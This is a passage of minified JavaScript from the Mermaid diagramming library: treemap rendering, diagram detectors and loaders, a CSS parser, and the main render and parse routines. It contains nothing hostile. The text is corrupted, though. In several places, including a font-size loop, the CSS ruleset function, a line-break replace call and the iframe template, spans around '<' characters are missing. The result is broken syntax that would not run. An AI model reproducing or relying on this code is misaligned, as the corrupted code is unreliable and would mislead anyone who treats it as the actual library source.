none;":""),R.append("clipPath").attr("id",(_,O)=>`clip-section-${e}-${O}`).append("rect").attr("width",_=>Math.max(0,_.x1-_.x0-12)).attr("height",F4),R.append("rect").attr("width",_=>_.x1-_.x0).attr("height",_=>_.y1-_.y0).attr("class",(_,O)=>`treemapSection section${O}`).attr("fill",_=>x(_.data.name)).attr("fill-opacity",.6).attr("stroke",_=>b(_.data.name)).attr("stroke-width",2).attr("stroke-opacity",.4).attr("style",_=>{if(_.depth===0)return"display: none;";let O=je({cssCompiledStyles:_.data.cssCompiledStyles});return O.nodeStyles+";"+O.borderStyles.join(";")}),R.append("text").attr("class","treemapSectionLabel").attr("x",6).attr("y",F4/2).attr("dominant-baseline","middle").text(_=>_.depth===0?"":_.data.name).attr("font-weight","bold").attr("style",_=>{if(_.depth===0)return"display: none;";let O="dominant-baseline: middle; font-size: 12px; fill:"+T(_.data.name)+"; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;",M=je({cssCompiledStyles:_.data.cssCompiledStyles});return O+M.labelStyles.replace("color:","fill:")}).each(function(_){if(_.depth===0)return;let O=qe(this),M=_.data.name;O.text(M);let P=_.x1-_.x0,B=6,F;a.showValues!==!1&&_.value?F=P-10-30-10-B:F=P-B-6;let $=Math.max(15,F),U=O.node();if(U.getComputedTextLength()>$){let Y=M;for(;Y.length>0;){if(Y=M.substring(0,Y.length-1),Y.length===0){O.text("..."),U.getComputedTextLength()>$&&O.text("");break}if(O.text(Y+"..."),U.getComputedTextLength()<=$)break}}}),a.showValues!==!1&&R.append("text").attr("class","treemapSectionValue").attr("x",_=>_.x1-_.x0-10).attr("y",F4/2).attr("text-anchor","end").attr("dominant-baseline","middle").text(_=>_.value?v(_.value):"").attr("font-style","italic").attr("style",_=>{if(_.depth===0)return"display: none;";let O="text-anchor: end; dominant-baseline: middle; font-size: 10px; fill:"+T(_.data.name)+"; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;",M=je({cssCompiledStyles:_.data.cssCompiledStyles});return O+M.labelStyles.replace("color:","fill:")});let I=A.leaves(),L=S.selectAll(".treemapLeafGroup").data(I).enter().append("g").attr("class",(_,O)=>`treemapNode treemapLeafGroup leaf${O}${_.data.classSelector?` ${_.data.classSelector}`:""}x`).attr("transform",_=>`translate(${_.x0},${_.y0})`);L.append("rect").attr("width",_=>_.x1-_.x0).attr("height",_=>_.y1-_.y0).attr("class","treemapLeaf").attr("fill",_=>_.parent?x(_.parent.data.name):x(_.data.name)).attr("style",_=>je({cssCompiledStyles:_.data.cssCompiledStyles}).nodeStyles).attr("fill-opacity",.3).attr("stroke",_=>_.parent?x(_.parent.data.name):x(_.data.name)).attr("stroke-width",3),L.append("clipPath").attr("id",(_,O)=>`clip-${e}-${O}`).append("rect").attr("width",_=>Math.max(0,_.x1-_.x0-4)).attr("height",_=>Math.max(0,_.y1-_.y0-4)),L.append("text").attr("class","treemapLabel").attr("x",_=>(_.x1-_.x0)/2).attr("y",_=>(_.y1-_.y0)/2).attr("style",_=>{let O="text-anchor: middle; dominant-baseline: middle; font-size: 38px;fill:"+T(_.data.name)+";",M=je({cssCompiledStyles:_.data.cssCompiledStyles});return O+M.labelStyles.replace("color:","fill:")}).attr("clip-path",(_,O)=>`url(#clip-${e}-${O})`).text(_=>_.data.name).each(function(_){let O=qe(this),M=_.x1-_.x0,P=_.y1-_.y0,B=O.node(),F=4,G=M-2*F,$=P-2*F;if(G<10||$<10){O.style("display","none");return}let U=parseInt(O.style("font-size"),10),j=8,te=28,Y=.6,oe=6,J=2;for(;B.getComputedTextLength()>G&&U>j;)U--,O.style("font-size",`${U}px`);let ue=Math.max(oe,Math.min(te,Math.round(U*Y))),re=U+J+ue;for(;re>$&&U>j&&(U--,ue=Math.max(oe,Math.min(te,Math.round(U*Y))),!(ue$;O.style("font-size",`${U}px`),(B.getComputedTextLength()>G||U(O.x1-O.x0)/2).attr("y",function(O){return(O.y1-O.y0)/2}).attr("style",O=>{let M="text-anchor: middle; dominant-baseline: hanging; font-size: 28px;fill:"+T(O.data.name)+";",P=je({cssCompiledStyles:O.data.cssCompiledStyles});return M+P.labelStyles.replace("color:","fill:")}).attr("clip-path",(O,M)=>`url(#clip-${e}-${M})`).text(O=>O.value?v(O.value):"").each(function(O){let M=qe(this),P=this.parentNode;if(!P){M.style("display","none");return}let B=qe(P).select(".treemapLabel");if(B.empty()||B.style("display")==="none"){M.style("display","none");return}let F=parseFloat(B.style("font-size")),G=28,$=.6,U=6,j=2,te=Math.max(U,Math.min(G,Math.round(F*$)));M.style("font-size",`${te}px`);let oe=(O.y1-O.y0)/2+F/2+j;M.attr("y",oe);let J=O.x1-O.x0,ee=O.y1-O.y0-4,Z=J-8;M.node().getComputedTextLength()>Z||oe+te>ee||te{"use strict";tr();Yit={sectionStrokeColor:"black",sectionStrokeWidth:"1",sectionFillColor:"#efefef",leafStrokeColor:"black",leafStrokeWidth:"1",leafFillColor:"#efefef",labelColor:"black",labelFontSize:"12px",valueFontSize:"10px",valueColor:"black",titleColor:"black",titleFontSize:"14px"},Xit=o(({treemap:t}={})=>{let e=Vn(Yit,t);return` + .treemapNode.section { + stroke: ${e.sectionStrokeColor}; + stroke-width: ${e.sectionStrokeWidth}; + fill: ${e.sectionFillColor}; + } + .treemapNode.leaf { + stroke: ${e.leafStrokeColor}; + stroke-width: ${e.leafStrokeWidth}; + fill: ${e.leafFillColor}; + } + .treemapLabel { + fill: ${e.labelColor}; + font-size: ${e.labelFontSize}; + } + .treemapValue { + fill: ${e.valueColor}; + font-size: ${e.valueFontSize}; + } + .treemapTitle { + fill: ${e.titleColor}; + font-size: ${e.titleFontSize}; + } + `},"getStyles"),j4e=Xit});var Q4e={};dr(Q4e,{diagram:()=>jit});var jit,Z4e=N(()=>{"use strict";Oz();W4e();X4e();K4e();jit={parser:Pz,get db(){return new by},renderer:Y4e,styles:j4e}});var Oat={};dr(Oat,{default:()=>Iat});nc();_A();vd();var O_e=o(t=>/^\s*C4Context|C4Container|C4Component|C4Dynamic|C4Deployment/.test(t),"detector"),P_e=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(NQ(),RQ));return{id:"c4",diagram:t}},"loader"),B_e={id:"c4",detector:O_e,loader:P_e},MQ=B_e;var yfe="flowchart",rWe=o((t,e)=>e?.flowchart?.defaultRenderer==="dagre-wrapper"||e?.flowchart?.defaultRenderer==="elk"?!1:/^\s*graph/.test(t),"detector"),nWe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(AE(),CE));return{id:yfe,diagram:t}},"loader"),iWe={id:yfe,detector:rWe,loader:nWe},vfe=iWe;var xfe="flowchart-v2",aWe=o((t,e)=>e?.flowchart?.defaultRenderer==="dagre-d3"?!1:(e?.flowchart?.defaultRenderer==="elk"&&(e.layout="elk"),/^\s*graph/.test(t)&&e?.flowchart?.defaultRenderer==="dagre-wrapper"?!0:/^\s*flowchart/.test(t)),"detector"),sWe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(AE(),CE));return{id:xfe,diagram:t}},"loader"),oWe={id:xfe,detector:aWe,loader:sWe},bfe=oWe;var fWe=o(t=>/^\s*erDiagram/.test(t),"detector"),dWe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(_fe(),Afe));return{id:"er",diagram:t}},"loader"),pWe={id:"er",detector:fWe,loader:dWe},Dfe=pWe;var Pge="gitGraph",HKe=o(t=>/^\s*gitGraph/.test(t),"detector"),qKe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Oge(),Ige));return{id:Pge,diagram:t}},"loader"),WKe={id:Pge,detector:HKe,loader:qKe},Bge=WKe;var d1e="gantt",MQe=o(t=>/^\s*gantt/.test(t),"detector"),IQe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(f1e(),h1e));return{id:d1e,diagram:t}},"loader"),OQe={id:d1e,detector:MQe,loader:IQe},p1e=OQe;var k1e="info",GQe=o(t=>/^\s*info/.test(t),"detector"),VQe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(w1e(),T1e));return{id:k1e,diagram:t}},"loader"),E1e={id:k1e,detector:GQe,loader:VQe};var tZe=o(t=>/^\s*pie/.test(t),"detector"),rZe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(M1e(),N1e));return{id:"pie",diagram:t}},"loader"),I1e={id:"pie",detector:tZe,loader:rZe};var Y1e="quadrantChart",bZe=o(t=>/^\s*quadrantChart/.test(t),"detector"),TZe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(W1e(),q1e));return{id:Y1e,diagram:t}},"loader"),wZe={id:Y1e,detector:bZe,loader:TZe},X1e=wZe;var Tye="xychart",$Ze=o(t=>/^\s*xychart(-beta)?/.test(t),"detector"),zZe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(bye(),xye));return{id:Tye,diagram:t}},"loader"),GZe={id:Tye,detector:$Ze,loader:zZe},wye=GZe;var Rye="requirement",qZe=o(t=>/^\s*requirement(Diagram)?/.test(t),"detector"),WZe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Lye(),Dye));return{id:Rye,diagram:t}},"loader"),YZe={id:Rye,detector:qZe,loader:WZe},Nye=YZe;var Xye="sequence",IJe=o(t=>/^\s*sequenceDiagram/.test(t),"detector"),OJe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Yye(),Wye));return{id:Xye,diagram:t}},"loader"),PJe={id:Xye,detector:IJe,loader:OJe},jye=PJe;var tve="class",VJe=o((t,e)=>e?.class?.defaultRenderer==="dagre-wrapper"?!1:/^\s*classDiagram/.test(t),"detector"),UJe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(eve(),Jye));return{id:tve,diagram:t}},"loader"),HJe={id:tve,detector:VJe,loader:UJe},rve=HJe;var ave="classDiagram",WJe=o((t,e)=>/^\s*classDiagram/.test(t)&&e?.class?.defaultRenderer==="dagre-wrapper"?!0:/^\s*classDiagram-v2/.test(t),"detector"),YJe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(ive(),nve));return{id:ave,diagram:t}},"loader"),XJe={id:ave,detector:WJe,loader:YJe},sve=XJe;var Fve="state",Tet=o((t,e)=>e?.state?.defaultRenderer==="dagre-wrapper"?!1:/^\s*stateDiagram/.test(t),"detector"),wet=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Bve(),Pve));return{id:Fve,diagram:t}},"loader"),ket={id:Fve,detector:Tet,loader:wet},$ve=ket;var Vve="stateDiagram",Cet=o((t,e)=>!!(/^\s*stateDiagram-v2/.test(t)||/^\s*stateDiagram/.test(t)&&e?.state?.defaultRenderer==="dagre-wrapper"),"detector"),Aet=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Gve(),zve));return{id:Vve,diagram:t}},"loader"),_et={id:Vve,detector:Cet,loader:Aet},Uve=_et;var a2e="journey",jet=o(t=>/^\s*journey/.test(t),"detector"),Ket=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(i2e(),n2e));return{id:a2e,diagram:t}},"loader"),Qet={id:a2e,detector:jet,loader:Ket},s2e=Qet;pt();tu();Ei();var Zet=o((t,e,r)=>{X.debug(`rendering svg for syntax error +`);let n=aa(e),i=n.append("g");n.attr("viewBox","0 0 2412 512"),mn(n,100,512,!0),i.append("path").attr("class","error-icon").attr("d","m411.313,123.313c6.25-6.25 6.25-16.375 0-22.625s-16.375-6.25-22.625,0l-32,32-9.375,9.375-20.688-20.688c-12.484-12.5-32.766-12.5-45.25,0l-16,16c-1.261,1.261-2.304,2.648-3.31,4.051-21.739-8.561-45.324-13.426-70.065-13.426-105.867,0-192,86.133-192,192s86.133,192 192,192 192-86.133 192-192c0-24.741-4.864-48.327-13.426-70.065 1.402-1.007 2.79-2.049 4.051-3.31l16-16c12.5-12.492 12.5-32.758 0-45.25l-20.688-20.688 9.375-9.375 32.001-31.999zm-219.313,100.687c-52.938,0-96,43.063-96,96 0,8.836-7.164,16-16,16s-16-7.164-16-16c0-70.578 57.422-128 128-128 8.836,0 16,7.164 16,16s-7.164,16-16,16z"),i.append("path").attr("class","error-icon").attr("d","m459.02,148.98c-6.25-6.25-16.375-6.25-22.625,0s-6.25,16.375 0,22.625l16,16c3.125,3.125 7.219,4.688 11.313,4.688 4.094,0 8.188-1.563 11.313-4.688 6.25-6.25 6.25-16.375 0-22.625l-16.001-16z"),i.append("path").attr("class","error-icon").attr("d","m340.395,75.605c3.125,3.125 7.219,4.688 11.313,4.688 4.094,0 8.188-1.563 11.313-4.688 6.25-6.25 6.25-16.375 0-22.625l-16-16c-6.25-6.25-16.375-6.25-22.625,0s-6.25,16.375 0,22.625l15.999,16z"),i.append("path").attr("class","error-icon").attr("d","m400,64c8.844,0 16-7.164 16-16v-32c0-8.836-7.156-16-16-16-8.844,0-16,7.164-16,16v32c0,8.836 7.156,16 16,16z"),i.append("path").attr("class","error-icon").attr("d","m496,96.586h-32c-8.844,0-16,7.164-16,16 0,8.836 7.156,16 16,16h32c8.844,0 16-7.164 16-16 0-8.836-7.156-16-16-16z"),i.append("path").attr("class","error-icon").attr("d","m436.98,75.605c3.125,3.125 7.219,4.688 11.313,4.688 4.094,0 8.188-1.563 11.313-4.688l32-32c6.25-6.25 6.25-16.375 0-22.625s-16.375-6.25-22.625,0l-32,32c-6.251,6.25-6.251,16.375-0.001,22.625z"),i.append("text").attr("class","error-text").attr("x",1440).attr("y",250).attr("font-size","150px").style("text-anchor","middle").text("Syntax error in text"),i.append("text").attr("class","error-text").attr("x",1250).attr("y",400).attr("font-size","100px").style("text-anchor","middle").text(`mermaid version ${r}`)},"draw"),O$={draw:Zet},o2e=O$;var Jet={db:{},renderer:O$,parser:{parse:o(()=>{},"parse")}},l2e=Jet;var c2e="flowchart-elk",ett=o((t,e={})=>/^\s*flowchart-elk/.test(t)||/^\s*(flowchart|graph)/.test(t)&&e?.flowchart?.defaultRenderer==="elk"?(e.layout="elk",!0):!1,"detector"),ttt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(AE(),CE));return{id:c2e,diagram:t}},"loader"),rtt={id:c2e,detector:ett,loader:ttt},u2e=rtt;var P2e="timeline",Ttt=o(t=>/^\s*timeline/.test(t),"detector"),wtt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(O2e(),I2e));return{id:P2e,diagram:t}},"loader"),ktt={id:P2e,detector:Ttt,loader:wtt},B2e=ktt;var J2e="mindmap",Rtt=o(t=>/^\s*mindmap/.test(t),"detector"),Ntt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Z2e(),Q2e));return{id:J2e,diagram:t}},"loader"),Mtt={id:J2e,detector:Rtt,loader:Ntt},exe=Mtt;var fxe="kanban",jtt=o(t=>/^\s*kanban/.test(t),"detector"),Ktt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(hxe(),uxe));return{id:fxe,diagram:t}},"loader"),Qtt={id:fxe,detector:jtt,loader:Ktt},dxe=Qtt;var Xxe="sankey",brt=o(t=>/^\s*sankey(-beta)?/.test(t),"detector"),Trt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Yxe(),Wxe));return{id:Xxe,diagram:t}},"loader"),wrt={id:Xxe,detector:brt,loader:Trt},jxe=wrt;var nbe="packet",Rrt=o(t=>/^\s*packet(-beta)?/.test(t),"detector"),Nrt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(rbe(),tbe));return{id:nbe,diagram:t}},"loader"),ibe={id:nbe,detector:Rrt,loader:Nrt};var mbe="radar",ent=o(t=>/^\s*radar-beta/.test(t),"detector"),tnt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(pbe(),dbe));return{id:mbe,diagram:t}},"loader"),gbe={id:mbe,detector:ent,loader:tnt};var x4e="block",wit=o(t=>/^\s*block(-beta)?/.test(t),"detector"),kit=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(v4e(),y4e));return{id:x4e,diagram:t}},"loader"),Eit={id:x4e,detector:wit,loader:kit},b4e=Eit;var V4e="architecture",$it=o(t=>/^\s*architecture/.test(t),"detector"),zit=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(G4e(),z4e));return{id:V4e,diagram:t}},"loader"),Git={id:V4e,detector:$it,loader:zit},U4e=Git;vd();Xt();var J4e="treemap",Kit=o(t=>/^\s*treemap/.test(t),"detector"),Qit=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Z4e(),Q4e));return{id:J4e,diagram:t}},"loader"),e3e={id:J4e,detector:Kit,loader:Qit};var t3e=!1,wy=o(()=>{t3e||(t3e=!0,xd("error",l2e,t=>t.toLowerCase().trim()==="error"),xd("---",{db:{clear:o(()=>{},"clear")},styles:{},renderer:{draw:o(()=>{},"draw")},parser:{parse:o(()=>{throw new Error("Diagrams beginning with --- are not valid. If you were trying to use a YAML front-matter, please ensure that you've correctly opened and closed the YAML front-matter with un-indented `---` blocks")},"parse")},init:o(()=>null,"init")},t=>t.toLowerCase().trimStart().startsWith("---")),ev(u2e,exe,U4e),ev(MQ,dxe,sve,rve,Dfe,p1e,E1e,I1e,Nye,jye,bfe,vfe,B2e,Bge,Uve,$ve,s2e,X1e,jxe,ibe,wye,b4e,gbe,e3e))},"addDiagrams");pt();vd();Xt();var r3e=o(async()=>{X.debug("Loading registered diagrams");let e=(await Promise.allSettled(Object.entries(gu).map(async([r,{detector:n,loader:i}])=>{if(i)try{av(r)}catch{try{let{diagram:a,id:s}=await i();xd(s,a,n)}catch(a){throw X.error(`Failed to load external diagram with key ${r}. Removing from detectors.`),delete gu[r],a}}}))).filter(r=>r.status==="rejected");if(e.length>0){X.error(`Failed to load ${e.length} external diagrams`);for(let r of e)X.error(r);throw new Error(`Failed to load ${e.length} external diagrams`)}},"loadRegisteredDiagrams");pt();yr();var BC="comm",FC="rule",$C="decl";var n3e="@import";var i3e="@namespace",a3e="@keyframes";var s3e="@layer";var Bz=Math.abs,$4=String.fromCharCode;function zC(t){return t.trim()}o(zC,"trim");function z4(t,e,r){return t.replace(e,r)}o(z4,"replace");function o3e(t,e,r){return t.indexOf(e,r)}o(o3e,"indexof");function rd(t,e){return t.charCodeAt(e)|0}o(rd,"charat");function nd(t,e,r){return t.slice(e,r)}o(nd,"substr");function wo(t){return t.length}o(wo,"strlen");function l3e(t){return t.length}o(l3e,"sizeof");function ky(t,e){return e.push(t),t}o(ky,"append");var GC=1,Ey=1,c3e=0,ll=0,Ri=0,Cy="";function VC(t,e,r,n,i,a,s,l){return{value:t,root:e,parent:r,type:n,props:i,children:a,line:GC,column:Ey,length:s,return:"",siblings:l}}o(VC,"node");function u3e(){return Ri}o(u3e,"char");function h3e(){return Ri=ll>0?rd(Cy,--ll):0,Ey--,Ri===10&&(Ey=1,GC--),Ri}o(h3e,"prev");function cl(){return Ri=ll2||Sy(Ri)>3?"":" "}o(p3e,"whitespace");function m3e(t,e){for(;--e&&cl()&&!(Ri<48||Ri>102||Ri>57&&Ri<65||Ri>70&&Ri<97););return UC(t,G4()+(e<6&&uh()==32&&cl()==32))}o(m3e,"escaping");function Fz(t){for(;cl();)switch(Ri){case t:return ll;case 34:case 39:t!==34&&t!==39&&Fz(Ri);break;case 40:t===41&&Fz(t);break;case 92:cl();break}return ll}o(Fz,"delimiter");function g3e(t,e){for(;cl()&&t+Ri!==57;)if(t+Ri===84&&uh()===47)break;return"/*"+UC(e,ll-1)+"*"+$4(t===47?t:cl())}o(g3e,"commenter");function y3e(t){for(;!Sy(uh());)cl();return UC(t,ll)}o(y3e,"identifier");function b3e(t){return d3e(qC("",null,null,null,[""],t=f3e(t),0,[0],t))}o(b3e,"compile");function qC(t,e,r,n,i,a,s,l,u){for(var h=0,f=0,d=s,p=0,m=0,g=0,y=1,v=1,x=1,b=0,T="",S=i,w=a,k=n,A=T;v;)switch(g=b,b=cl()){case 40:if(g!=108&&rd(A,d-1)==58){o3e(A+=z4(HC(b),"&","&\f"),"&\f",Bz(h?l[h-1]:0))!=-1&&(x=-1);break}case 34:case 39:case 91:A+=HC(b);break;case 9:case 10:case 13:case 32:A+=p3e(g);break;case 92:A+=m3e(G4()-1,7);continue;case 47:switch(uh()){case 42:case 47:ky(Zit(g3e(cl(),G4()),e,r,u),u),(Sy(g||1)==5||Sy(uh()||1)==5)&&wo(A)&&nd(A,-1,void 0)!==" "&&(A+=" ");break;default:A+="/"}break;case 123*y:l[h++]=wo(A)*x;case 125*y:case 59:case 0:switch(b){case 0:case 125:v=0;case 59+f:x==-1&&(A=z4(A,/\f/g,"")),m>0&&(wo(A)-d||y===0&&g===47)&&ky(m>32?x3e(A+";",n,r,d-1,u):x3e(z4(A," ","")+";",n,r,d-2,u),u);break;case 59:A+=";";default:if(ky(k=v3e(A,e,r,h,f,i,l,T,S=[],w=[],d,a),a),b===123)if(f===0)qC(A,e,k,k,S,a,d,l,w);else{switch(p){case 99:if(rd(A,3)===110)break;case 108:if(rd(A,2)===97)break;default:f=0;case 100:case 109:case 115:}f?qC(t,k,k,n&&ky(v3e(t,k,k,0,0,i,l,T,i,S=[],d,w),w),i,w,d,l,n?S:w):qC(A,k,k,k,[""],w,0,l,w)}}h=f=m=0,y=x=1,T=A="",d=s;break;case 58:d=1+wo(A),m=g;default:if(y<1){if(b==123)--y;else if(b==125&&y++==0&&h3e()==125)continue}switch(A+=$4(b),b*y){case 38:x=f>0?1:(A+="\f",-1);break;case 44:l[h++]=(wo(A)-1)*x,x=1;break;case 64:uh()===45&&(A+=HC(cl())),p=uh(),f=d=wo(T=A+=y3e(G4())),b++;break;case 45:g===45&&wo(A)==2&&(y=0)}}return a}o(qC,"parse");function v3e(t,e,r,n,i,a,s,l,u,h,f,d){for(var p=i-1,m=i===0?a:[""],g=l3e(m),y=0,v=0,x=0;y0?m[b]+" "+T:z4(T,/&\f/g,m[b])))&&(u[x++]=S);return VC(t,e,r,i===0?FC:l,u,h,f,d)}o(v3e,"ruleset");function Zit(t,e,r,n){return VC(t,e,r,BC,$4(u3e()),nd(t,2,-2),0,n)}o(Zit,"comment");function x3e(t,e,r,n,i){return VC(t,e,r,$C,nd(t,0,n),nd(t,n+1,-1),n,i)}o(x3e,"declaration");function WC(t,e){for(var r="",n=0;n{E3e.forEach(t=>{t()}),E3e=[]},"attachFunctions");pt();var C3e=o(t=>t.replace(/^\s*%%(?!{)[^\n]+\n?/gm,"").trimStart(),"cleanupComments");F3();w2();function A3e(t){let e=t.match(B3);if(!e)return{text:t,metadata:{}};let r=Kh(e[1],{schema:jh})??{};r=typeof r=="object"&&!Array.isArray(r)?r:{};let n={};return r.displayMode&&(n.displayMode=r.displayMode.toString()),r.title&&(n.title=r.title.toString()),r.config&&(n.config=r.config),{text:t.slice(e[0].length),metadata:n}}o(A3e,"extractFrontMatter");tr();var eat=o(t=>t.replace(/\r\n?/g,` +`).replace(/<(\w+)([^>]*)>/g,(e,r,n)=>"<"+r+n.replace(/="([^"]*)"/g,"='$1'")+">"),"cleanupText"),tat=o(t=>{let{text:e,metadata:r}=A3e(t),{displayMode:n,title:i,config:a={}}=r;return n&&(a.gantt||(a.gantt={}),a.gantt.displayMode=n),{title:i,config:a,text:e}},"processFrontmatter"),rat=o(t=>{let e=qt.detectInit(t)??{},r=qt.detectDirective(t,"wrap");return Array.isArray(r)?e.wrap=r.some(({type:n})=>n==="wrap"):r?.type==="wrap"&&(e.wrap=!0),{text:bQ(t),directive:e}},"processDirectives");function $z(t){let e=eat(t),r=tat(e),n=rat(r.text),i=Vn(r.config,n.directive);return t=C3e(n.text),{code:t,title:r.title,config:i}}o($z,"preprocessDiagram");NA();e3();tr();function _3e(t){let e=new TextEncoder().encode(t),r=Array.from(e,n=>String.fromCodePoint(n)).join("");return btoa(r)}o(_3e,"toBase64");var nat=5e4,iat="graph TB;a[Maximum text size in diagram exceeded];style a fill:#faa",aat="sandbox",sat="loose",oat="http://www.w3.org/2000/svg",lat="http://www.w3.org/1999/xlink",cat="http://www.w3.org/1999/xhtml",uat="100%",hat="100%",fat="border:0;margin:0;",dat="margin:0",pat="allow-top-navigation-by-user-activation allow-popups",mat='The "iframe" tag is not supported by your browser.',gat=["foreignobject"],yat=["dominant-baseline"];function N3e(t){let e=$z(t);return By(),ZG(e.config??{}),e}o(N3e,"processAndSetConfigs");async function vat(t,e){wy();try{let{code:r,config:n}=N3e(t);return{diagramType:(await M3e(r)).type,config:n}}catch(r){if(e?.suppressErrors)return!1;throw r}}o(vat,"parse");var D3e=o((t,e,r=[])=>` +.${t} ${e} { ${r.join(" !important; ")} !important; }`,"cssImportantStyles"),xat=o((t,e=new Map)=>{let r="";if(t.themeCSS!==void 0&&(r+=` +${t.themeCSS}`),t.fontFamily!==void 0&&(r+=` +:root { --mermaid-font-family: ${t.fontFamily}}`),t.altFontFamily!==void 0&&(r+=` +:root { --mermaid-alt-font-family: ${t.altFontFamily}}`),e instanceof Map){let s=t.htmlLabels??t.flowchart?.htmlLabels?["> *","span"]:["rect","polygon","ellipse","circle","path"];e.forEach(l=>{mr(l.styles)||s.forEach(u=>{r+=D3e(l.id,u,l.styles)}),mr(l.textStyles)||(r+=D3e(l.id,"tspan",(l?.textStyles||[]).map(u=>u.replace("color","fill"))))})}return r},"createCssStyles"),bat=o((t,e,r,n)=>{let i=xat(t,r),a=aH(e,i,t.themeVariables);return WC(b3e(`${n}{${a}}`),T3e)},"createUserStyles"),Tat=o((t="",e,r)=>{let n=t;return!r&&!e&&(n=n.replace(/marker-end="url\([\d+./:=?A-Za-z-]*?#/g,'marker-end="url(#')),n=Ji(n),n=n.replace(/
    /g,"
    "),n},"cleanUpSvgCode"),wat=o((t="",e)=>{let r=e?.viewBox?.baseVal?.height?e.viewBox.baseVal.height+"px":hat,n=_3e(`${t}`);return``},"putIntoIFrame"),L3e=o((t,e,r,n,i)=>{let a=t.append("div");a.attr("id",r),n&&a.attr("style",n);let s=a.append("svg").attr("id",e).attr("width","100%").attr("xmlns",oat);return i&&s.attr("xmlns:xlink",i),s.append("g"),t},"appendDivSvgG");function R3e(t,e){return t.append("iframe").attr("id",e).attr("style","width: 100%; height: 100%;").attr("sandbox","")}o(R3e,"sandboxedIframe");var kat=o((t,e,r,n)=>{t.getElementById(e)?.remove(),t.getElementById(r)?.remove(),t.getElementById(n)?.remove()},"removeExistingElements"),Eat=o(async function(t,e,r){wy();let n=N3e(e);e=n.code;let i=Qt();X.debug(i),e.length>(i?.maxTextSize??nat)&&(e=iat);let a="#"+t,s="i"+t,l="#"+s,u="d"+t,h="#"+u,f=o(()=>{let D=qe(p?l:h).node();D&&"remove"in D&&D.remove()},"removeTempElements"),d=qe("body"),p=i.securityLevel===aat,m=i.securityLevel===sat,g=i.fontFamily;if(r!==void 0){if(r&&(r.innerHTML=""),p){let E=R3e(qe(r),s);d=qe(E.nodes()[0].contentDocument.body),d.node().style.margin=0}else d=qe(r);L3e(d,t,u,`font-family: ${g}`,lat)}else{if(kat(document,t,u,s),p){let E=R3e(qe("body"),s);d=qe(E.nodes()[0].contentDocument.body),d.node().style.margin=0}else d=qe("body");L3e(d,t,u)}let y,v;try{y=await Ay.fromText(e,{title:n.title})}catch(E){if(i.suppressErrorRendering)throw f(),E;y=await Ay.fromText("error"),v=E}let x=d.select(h).node(),b=y.type,T=x.firstChild,S=T.firstChild,w=y.renderer.getClasses?.(e,y),k=bat(i,b,w,a),A=document.createElement("style");A.innerHTML=k,T.insertBefore(A,S);try{await y.renderer.draw(e,t,g4.version,y)}catch(E){throw i.suppressErrorRendering?f():o2e.draw(e,t,g4.version),E}let C=d.select(`${h} svg`),R=y.db.getAccTitle?.(),I=y.db.getAccDescription?.();Cat(b,C,R,I),d.select(`[id="${t}"]`).selectAll("foreignobject > *").attr("xmlns",cat);let L=d.select(h).node().innerHTML;if(X.debug("config.arrowMarkerAbsolute",i.arrowMarkerAbsolute),L=Tat(L,p,vr(i.arrowMarkerAbsolute)),p){let E=d.select(h+" svg").node();L=wat(L,E)}else m||(L=yh.sanitize(L,{ADD_TAGS:gat,ADD_ATTR:yat,HTML_INTEGRATION_POINTS:{foreignobject:!0}}));if(S3e(),v)throw v;return f(),{diagramType:b,svg:L,bindFunctions:y.db.bindFunctions}},"render");function Sat(t={}){let e=Rn({},t);e?.fontFamily&&!e.themeVariables?.fontFamily&&(e.themeVariables||(e.themeVariables={}),e.themeVariables.fontFamily=e.fontFamily),jG(e),e?.theme&&e.theme in So?e.themeVariables=So[e.theme].getThemeVariables(e.themeVariables):e&&(e.themeVariables=So.default.getThemeVariables(e.themeVariables));let r=typeof e=="object"?C7(e):A7();Dy(r.logLevel),wy()}o(Sat,"initialize");var M3e=o((t,e={})=>{let{code:r}=$z(t);return Ay.fromText(r,e)},"getDiagramFromText");function Cat(t,e,r,n){w3e(e,t),k3e(e,r,n,e.attr("id"))}o(Cat,"addA11yInfo");var id=Object.freeze({render:Eat,parse:vat,getDiagramFromText:M3e,initialize:Sat,getConfig:Qt,setConfig:n3,getSiteConfig:A7,updateSiteConfig:KG,reset:o(()=>{By()},"reset"),globalReset:o(()=>{By(gh)},"globalReset"),defaultConfig:gh});Dy(Qt().logLevel);By(Qt());Nf();tr();var Aat=o((t,e,r)=>{X.warn(t),qL(t)?(r&&r(t.str,t.hash),e.push({...t,message:t.str,error:t})):(r&&r(t),t instanceof Error&&e.push({str:t.message,message:t.message,hash:t.name,error:t}))},"handleError"),I3e=o(async function(t={querySelector:".mermaid"}){try{await _at(t)}catch(e){if(qL(e)&&X.error(e.str),hh.parseError&&hh.parseError(e),!t.suppressErrors)throw X.error("Use the suppressErrors option to suppress these errors"),e}},"run"),_at=o(async function({postRenderCallback:t,querySelector:e,nodes:r}={querySelector:".mermaid"}){let n=id.getConfig();X.debug(`${t?"":"No "}Callback function found`);let i;if(r)i=r;else 